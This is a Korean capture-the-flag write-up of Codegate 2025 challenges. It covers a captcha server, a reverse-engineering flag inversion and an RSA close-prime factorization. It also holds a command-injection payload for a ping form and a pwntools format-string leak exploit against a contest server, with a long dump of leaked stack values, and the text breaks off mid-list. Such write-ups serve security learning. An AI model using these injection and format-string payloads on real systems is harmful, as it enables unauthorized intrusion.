misc
Hello Codegate
discord notice 채널에 들어가면 플래그가 있다.
codegate2025{65782695e16255e3ef8517a1bfb059f0}
Captcha World
# root @ daeseong in /mnt/p/codegate/2025 0 [09:19:25]
~ nc 3.38.44.81 9623 130 [09:19:25]
###### ### ######## ######## ###### ## ## ###
## ## ## ## ## ## ## ## ## ## ## ## ##
## ## ## ## ## ## ## ## ## ## ##
## ## ## ######## ## ## ######### ## ##
## ######### ## ## ## ## ## #########
## ## ## ## ## ## ## ## ## ## ## ##
###### ## ## ## ## ###### ## ## ## ##
## ## ####### ######## ## ########
## ## ## ## ## ## ## ## ## ##
## ## ## ## ## ## ## ## ## ##
## ## ## ## ## ######## ## ## ##
## ## ## ## ## ## ## ## ## ##
## ## ## ## ## ## ## ## ## ##
### ### ####### ## ## ######## ########
Rules
All letters are capitalized.
Solve the captcha within 1 minute, in all 10 rounds.
There are 10 rounds.
Round 1
Solve the captcha
Captcha:
## ######## ###### ######## ##
## ## ## ## ## ## ## ####
## ## ## ## ## ## ##
## ######## ## ######## ##
## ## ## ## ## ## ##
## ## ## ## ## ## ## ##
###### ######## ###### ## ######
Input:
JBCP1
Correct
Round 2
Solve the captcha
Captcha:
#### ######## ###### ######## ########
## ## ## ## ## ## ##
## ## ## ## ##
## ###### ## ## ##
## ## ## ## ##
## ## ## ## ## ##
#### ## ###### ## ##
Input:
IFCT7
Correct
Round 3
Solve the captcha
Captcha:
#### ######## ####### ## #######
## ## ## ## ## ## ## ##
## ## ## ## ## ## ## ##
## ## ####### ## ## ## ##
## ## ## ## ######### ## ## ##
## ## ## ## ## ## ##
#### ## ####### ## ##### ##
Input:
IT84Q
Correct
Round 4
Solve the captcha
Captcha:
## ######## ## ## ### ########
## ## ## ### ### ## ## ##
## ## #### #### ## ## ##
## ## ## ### ## ## ## ######
## ## ## ## ######### ##
## ## ## ## ## ## ##
######## ## ## ## ## ## ##
Input:
L7MAF
Correct
Round 5
Solve the captcha
Captcha:
## ## ####### ###### ###### ## ##
### ## ## ## ## ## ## ## ### ##
#### ## ## ## ## ## #### ##
## ## ## ## ## ## #### ## #### ## ## ##
## #### ## ## ## ## ## ## ## ####
## ### ## ## ## ## ## ## ## ###
## ## ####### ###### ###### ## ##
Input:
NOGGN
Correct
Round 6
Solve the captcha
Captcha:
####### ####### ######## ######## ## ##
## ## ## ## ## ## ## ##
## ## ## ## ## ##
####### ######## ###### ## #####
## ## ## ## ## ## ##
## ## ## ## ## ## ##
######### ####### ######## ######## ## ##
Input:
26EZK
Correct
Round 7
Solve the captcha
Captcha:
## ## ######## ######## ###### ## ##
## ## ## ## ## ## ## ## ##
## ## ## ## ## ## ##
## ## ## ## ## #### #####
## ## ## ## ## ## ## ##
## ## ## ## ## ## ## ##
### ## ######## ###### ## ##
Input:
V7ZGK
Correct
Round 8
Solve the captcha
Captcha:
######## ## ####### ## ## ## ##
## ## ## ## ## ## ## ## ## ##
## ## ## ## ## ## ## ##
## ## ####### ## ## ## #########
## ## ## ## ## ## ## ## ##
## ## ## ## ## ## ## ## ##
## ###### ######### ### ### ## ##
Input:
7J2WH
Correct
Round 9
Solve the captcha
Captcha:
## ## ## ## ######## ######## ######
## ## ## ## ## ## ## ## ##
#### ## ## ## ## ##
## ##### ## ###### ##
## ## ## ## ## ##
## ## ## ## ## ## ##
## ## ## ## ######## ######
Input:
YK7EC
Correct
Round 10
Solve the captcha
Captcha:
## ###### ####### ####### ########
## ## ## ## ## ## ## ## ##
## ## ## ## ## ## ## ##
## ###### ####### ####### ########
## ## ## ## ## ## ## ## ##
## ## ## ## ## ## ## ## ## ##
###### ###### ####### ####### ## ##
Input:
JS88R
Correct
Congratulations! You have completed all the rounds
Here's the flag: codegate2025{89a6f6ac01f84a1c0f2eed042db2e0a73de64fc2e13884022d1bbf97fd0f73864851e66562c8773aa998a825d9e47d}
nc로 서버에 접속하자마자 캡차가 뜨길래 아무생각 없이 계속 입력했더니 플래그가 나왔다.
codegate2025{89a6f6ac01f84a1c0f2eed042db2e0a73de64fc2e13884022d1bbf97fd0f73864851e66562c8773aa998a825d9e47d}
web
Ping Tester
링크로 들어가면 IP를 적을 수 있는 칸이 하나 주어진다.
보자마자 커맨드인젝션이라고 생각해서
127.0.0.1 && cat flag
위 IP주소?를 입력해봤다.
플래그가 나왔다.
codegate2025{80fd12690c4d31a8cf3fe2865e3ceb99aca9e6047c6acb2cbb9157e26ec91f4b}
rev
initial
[디컴파일코드]
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int i; // [rsp+4h] [rbp-3Ch]
int j; // [rsp+8h] [rbp-38h]
int k; // [rsp+Ch] [rbp-34h]
char input[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v8; // [rsp+38h] [rbp-8h]
v8 = __readfsqword(0x28u);
__isoc99_scanf("%32s", input);
if ( strlen(input) == 32 )
{
for ( i = 0; i <= 30; ++i )
input[i] ^= input[i + 1];
input[31] ^= input[0];
for ( j = 0; j <= 31; ++j )
input[j] = rol(byte_4020[input[j]], j & 6);
for ( k = 0; k <= 31; ++k )
{
if ( input[k] != enc_flag[k] )
{
puts("Wrong!");
return 0LL;
}
}
puts("Correct!");
return 0LL;
}
else
{
puts("Wrong length");
return 1LL;
}
}
메인을 디컴파일한 코드를 보면 입력값에 xor 을 하고 테이블에 키값으로 준 다음 벨류값을 rol 하는 것을 볼 수 있다.
다 어느정도 복호화가 가능한 연산이기 때문에 반대로 진행하면 원본 플래그를 얻을 수 있을거라 생각 했다.
ror, index찾기,xor 순으로 진행 했다 xor의 마지막값부터 해야하는데 마지막값을 모르니 브루트포스를 해주었다
def rol(x, r):
return ((x << r) | (x >> (8 - r))) & 0xff
T = [
69, 184, 26, 128, 71, 203, 214, 25, 29, 88, 86, 226, 54, 228, 39, 101,
177, 115, 233, 92, 126, 66, 124, 222, 113, 97, 246, 72, 245, 34, 87, 27,
175, 219, 141, 139, 192, 43, 212, 161, 204, 242, 235, 190, 55, 56, 217, 30,
99, 227, 77, 148, 19, 186, 156, 134, 16, 53, 252, 79, 215, 211, 123, 58,
201, 143, 208, 36, 241, 5, 44, 83, 94, 140, 150, 61, 166, 164, 110, 207,
91, 109, 4, 237, 18, 122, 23, 37, 52, 220, 173, 225, 32, 145, 117, 6,
196, 116, 111, 120, 0, 108, 194, 171, 169, 159, 176, 22, 51, 144, 205, 178,
60, 170, 155, 81, 78, 63, 28, 80, 250, 24, 232, 180, 84, 185, 59, 73,
249, 182, 153, 157, 125, 14, 102, 239, 255, 21, 151, 85, 15, 248, 33, 46,
131, 243, 149, 10, 168, 188, 93, 181, 50, 253, 247, 216, 38, 137, 100, 47,
167, 202, 13, 236, 195, 251, 172, 183, 9, 238, 132, 146, 121, 1, 7, 162,
119, 74, 2, 96, 57, 160, 147, 189, 136, 198, 229, 231, 206, 35, 187, 223,
133, 193, 89, 234, 210, 154, 230, 49, 20, 254, 197, 68, 17, 135, 103, 209,
75, 218, 106, 82, 191, 11, 244, 90, 138, 8, 40, 163, 127, 48, 112, 158,
45, 12, 130, 174, 64, 104, 67, 118, 224, 62, 142, 42, 76, 165, 213, 105,
114, 200, 129, 107, 70, 199, 179, 31, 95, 152, 41, 240, 98, 3, 221, 65
]
T_inv = [0] * 256
for i, val in enumerate(T):
T_inv[val] = i
expected = [
54,
226,
46,
134,
109,
36,
205,
148,
26,
26,
70,
155,
73,
131,
97,
21,
32,
178,
71,
234,
13,
66,
233,
61,
228,
116,
27,
22,
139,
84,
46,
170
]
B = [0] * 32
for j in range(32):
r = j & 6
tmp = rol(expected[j], r)
B[j] = T_inv[tmp]
X = 0
for i in range(31):
X ^= B[i]
for cand in range(256):
A = [0] * 32
A[31] = cand
A[0] = cand ^ X
for i in range(1, 32):
A[i] = A[i - 1] ^ B[i - 1]
if A[31] != cand:
continue
if all(32 <= a <= 126 for a in A):
s = ''.join(chr(a) for a in A)
print(f"{cand}: {s}")
96: ~ryxz|ix/-/(fUxqq-BJ-o,yBO.KBCC`
98: |p{zx~kz-/-*dWzss/@H/m.{@M,I@AAb
100: zv}|~xm|+)+,bQ|uu)FN)k(}FK*OFGGd
104: vzqprtap'%' n]pyy%JB%g$qJG&CJKKh
105: w{pqsu`q&$&!o\\qxx$KC$f%pKF'BKJJi
106: txsrpvcr%'%"l_r{{'H@'e&sHE$AHIIj
107: uyrsqwbs$&$#m^szz&IA&d'rID%@IHHk
108: r~utvpet#!#$jYt}}!NF!c uNC"GNOOl
111: q}vwusfw " 'iZw~~"ME"`#vM@!DMLLo
113: ochikmxi><>9wDi``<S[<~=hS^?ZSRRq
114: l`kjhn{j=?=:tGjcc?PX?}>kP]<YPQQr
115: majkiozk<><;uFkbb>QY>|?jQ\\=XQPPs
116: jfmlnh}l;9;<rAlee9V^9{8mV[:_VWWt
117: kglmoi|m:8:=s@mdd8W_8z9lWZ;^WVVu
119: ienomk~o8:8?qBoff:U]:x;nUX9\\UTTw
120: fja`bdq`7570~M`ii5ZR5w4aZW6SZ[[x
122: dhcb`fsb5752|Obkk7XP7u6cXU4QXYYz
123: eibcagrc4643}Ncjj6YQ6t7bYT5PYXX{
124: bnedf`ud3134zIdmm1^V1s0e^S2W^__|
125: codegate2025{Hell0_W0r1d_R3V_^^}
126: `lgfdbwf1316xKfoo3\\T3q2g\\Q0U\\]]~
전부 다 printable 문자인 문자열만 뽑아서 보면 플래그가 있는 것을 확인 할 수 있다.
codegate2025{Hell0_W0r1d_R3V_^^}
crypto
Encrypt flag
[prob.py]
from Crypto.Util.number import bytes_to_long, getPrime
from sympy import nextprime
import gmpy2
p = getPrime(512)
q = nextprime(p)
n = p * q
e = 65537
flag = "codegate2025{FAKE_FLAG}"
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
m = bytes_to_long(flag.encode())
c = pow(m, e, n)
print(f"n: {n}")
print(f"e: {e}")
print("Encrypted flag:", c)
RSA로 플래그를 암호화 하는 문제이다
$$ n = p*q $$
여기서 p,q는 다음 소수이고 매우 근접해 있다.
그래서 페르마 인수분해 기법을 사용해서 위 식을
$$ n = a^2 - b^2 $$
$$ n = (a+b)(a-b) $$
형태로 나태낼수있다.
p,q 는 거의 유사하므로 a는 n의 제곱근 근처에서 시작하고 b는 aa-n 가 완전제곱수(bb)가 되는 순간 b를 구할수있다.
$$ p = a-b, q= a+b $$
로 p,q를 구해낼수있고, RSA 복호화를 위해 φ(n) = (p - 1) * (q - 1)을 구하고, 공개지수 e의 모듈러 역원인 d를 계산하고. 마지막으로 암호문 c에 대해 m = c^d mod n을 계산하고, 이 정수를 바이트로 변환하면 원래의 플래그가 복호화 할 수 있다.
#!/usr/bin/env python3
from math import isqrt
from Crypto.Util.number import long_to_bytes
# RSA
n = 54756668623799501273661800933882720939597900879404357288428999230135977601404008182853528728891571108755011292680747299434740465591780820742049958146587060456010412555357258580332452401727868163734930952912198058084689974208638547280827744839358100210581026805806202017050750775163530268755846782825700533559
e = 65537
c = 7728462678531582833823897705285786444161591728459008932472145620845644046450565339835113761143563943610957661838221298240392904711373063097593852621109599751303613112679036572669474191827826084312984251873831287143585154570193022386338846894677372327190250188401045072251858178782348567776180411588467032159
a = isqrt(n)
if a * a < n: a += 1
while True:
b2 = a * a - n
b = isqrt(b2)
if b * b == b2: break
a += 1
p = a - b
q = a + b
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print("Decrypted flag:", flag.decode())
Decrypted flag: codegate2025{Cl0se_p_q_0f_RSA_Is_Vu1n3rabIe}
codegate2025{Cl0se_p_q_0f_RSA_Is_Vu1n3rabIe}
pwn
Magic Palette
이름 처럼 팔레트에 그림을 그리고 출력해볼수 있는 문제이다.
각 픽셀? 은
┌─────────┬─────────────┐
│ HEADER │ CONTENT │
├─────────┼─────────────┤
│ │ │
│ │ │
└─────────┴─────────────┘
헤더와 내용으로 2바이트로 구성된다.
unsigned __int64 __fastcall print_palette(_QWORD *a1)
{
int v1; // eax
int v2; // eax
unsigned __int16 v4; // [rsp+16h] [rbp-102Ah]
unsigned int i; // [rsp+18h] [rbp-1028h]
unsigned int j; // [rsp+1Ch] [rbp-1024h]
int v7; // [rsp+24h] [rbp-101Ch]
int v8; // [rsp+28h] [rbp-1018h]
_BYTE v9[16]; // [rsp+30h] [rbp-1010h] BYREF
unsigned __int64 v10; // [rsp+1038h] [rbp-8h]
__int64 savedregs; // [rsp+1040h] [rbp+0h] BYREF
v10 = __readfsqword(0x28u);
handle_output(a1, v9);
for ( i = 0; i <= 0x3F; ++i )
{
for ( j = 0; j <= 0x3F; ++j )
{
v4 = *(*a1 + (i << 7) + 2LL * j);
if ( (v4 & 0x1000) != 0 )
{
v7 = (v4 >> 4) & 0xF;
if ( (v4 & 0xF) + j <= 0x40 && v7 + i <= 0x40 )
{
if ( (v4 & 0x400) != 0 )
v1 = -(v4 & 0xF);
else
v1 = v4 & 0xF;
v8 = v1;
if ( (v4 & 0x800) != 0 )
v2 = -v7;
else
v2 = (v4 >> 4) & 0xF;
j += v8;
i += v2;
}
}
else if ( (v4 & 0x8000u) == 0 )
{
putchar(*(&savedregs + 64 * i + j - 4112));
}
else
{
printf(&v9[64 * i + j]);
}
}
putchar(10);
}
return v10 - __readfsqword(0x28u);
}
출력함수에서 보면 헤더가 0x80 이면 printf 함수로 바로 v9( 파싱된 팔레트 )가 출력되는 것을 알수있다. 그래서 0x8000 | 글자 로 주면 우리가 원하는 문자를 printf로 출력 할 수 있어서 FSB가 발생한다.
무작정 “%p” 문자열을 넣어서 릭을 할 수 있다.
스택주소, libc 관련 주소들이 릭 되어서 일단 저장해놨다.
from pwn import *
#context.log_level = "debug"
context.arch = "amd64"
context.bits = 64
#p = remote("localhost", 54321)
f = lambda s: b"".join(p16(0x8000 | b) for b in s)
p = remote("43.203.137.197", 54321)
libc = ELF("./libc.so.6")
p.sendlineafter(b"> ",b"1")
for i in range(50):
p.send(f(b"%p."))
p.send(p16(0x8000))
p.send(p16(0x2000))
p.sendlineafter(b"> ",b"3")
result = []
for _ in range(4):
line = p.recvline()[:-1].decode().split(".")
result.extend(line)
print(result)
stack = int(result[57],16)
success(f"stack addr : {hex(stack)}")
libc.address = int(result[2554],16) - 0x21ca70
success(f"libc addr : {hex(libc.address)}")
['(nil)', '(nil)', '(nil)', '0x3', '(nil)', '0x380', '0x7fffc037f570', '0x8025000000000044', '(nil)', '0x4', '0x400000007', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x20002e70252e7025', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', 'p', '0x7fffc037c3f0', '0x1', '(nil)', '0x33f', '0x7fffc037c278', '0x380', '0x7fffc037f570', '0x8070000000000044', '0x100000000', '0x4', '0x400000007', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x20002e70252e7025', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '', '0x7fffc037c3f0', '0x2', '(nil)', '0x346', '0x7fffc037c278', '0x380', '0x7fffc037f570', '0x802e000000000044', '0x200000000', '0x4', '0x400000007', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x20002e70252e7025', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x7fffc037c3f0', '0x3', '(nil)', '0x345', '0x7fffc037c278', '0x380', '0x7fffc037f570', '0x8025000000000044', '0x300000000', '0x4', '0x400000007', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x20002e70252e7025', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', 'p', '0x7fffc037c3f0', '0x4', '(nil)', '0x344', '0x7fffc037c278', '0x380', '0x7fffc037f570', '0x8070000000000044', '0x400000000', '0x4', '0x400000007', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x20002e70252e7025', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '', '0x7fffc037c3f0', '0x5', '(nil)', '0x333', '0x7fffc037c278', '0x380', '0x7fffc037f570', '0x802e000000000044', '0x500000000', '0x4', '0x400000007', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x20002e70252e7025', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x7fffc037c3f0', '0x6', '(nil)', '0x332', '0x7fffc037c278', '0x380', '0x7fffc037f570', '0x8025000000000044', '0x600000000', '0x4', '0x400000007', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x20002e70252e7025', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', 'p', '0x7fffc037c3f0', '0x7', '(nil)', '0x331', '0x7fffc037c278', '0x380', '0x7fffc037f570', '0x8070000000000044', '0x700000000', '0x4', '0x400000007', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x20002e70252e7025', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '', '0x7fffc037c3f0', '0x8', '(nil)', '0x320', '0x7fffc037c278', '0x380', '0x7fffc037f570', '0x802e000000000044', '0x800000000', '0x4', '0x400000007', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x20002e70252e7025', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x7fffc037c3f0', '0x9', '(nil)', '0x31f', '0x7fffc037c278', '0x380', '0x7fffc037f570', '0x8025000000000044', '0x900000000', '0x4', '0x400000007', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x20002e70252e7025', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', 'p', '0x7fffc037c3f0', '0xa', '(nil)', '0x31e', '0x7fffc037c278', '0x380', '0x7fffc037f570', '0x8070000000000044', '0xa00000000', '0x4', '0x400000007', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x20002e70252e7025', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '', '0x7fffc037c3f0', '0xb', '(nil)', '0x30d', '0x7fffc037c278', '0x380', '0x7fffc037f570', '0x802e000000000044', '0xb00000000', '0x4', '0x400000007', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x20002e70252e7025', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x7fffc037c3f0', '0xc', '(nil)', '0x30c', '0x7fffc037c278', '0x380', '0x7fffc037f570', '0x8025000000000044', '0xc00000000', '0x4', '0x400000007', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x20002e70252e7025', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', 'p', '0x7fffc037c3f0', '0xd', '(nil)', '0x30b', '0x7fffc037c278', '0x380', '0x7fffc037f570', '0x8070000000000044', '0xd00000000', '0x4', '0x400000007', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x20002e70252e7025', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '', '0x7fffc037c3f0', '0xe', '(nil)', '0x2fa', '0x7fffc037c278', '0x380', '0x7fffc037f570', '0x802e000000000044', '0xe00000000', '0x4', '0x400000007', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x20002e70252e7025', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x7fffc037c3f0', '0xf', '(nil)', '0x2f9', '0x7fffc037c278', '0x380', '0x7fffc037f570', '0x8025000000000044', '0xf00000000', '0x4', '0x400000007', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x70252e70252e7025', '0x252e70252e70252e', '0x2e70252e70252e70', '0x20002e70252e7025', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', '0x2020202020202020', 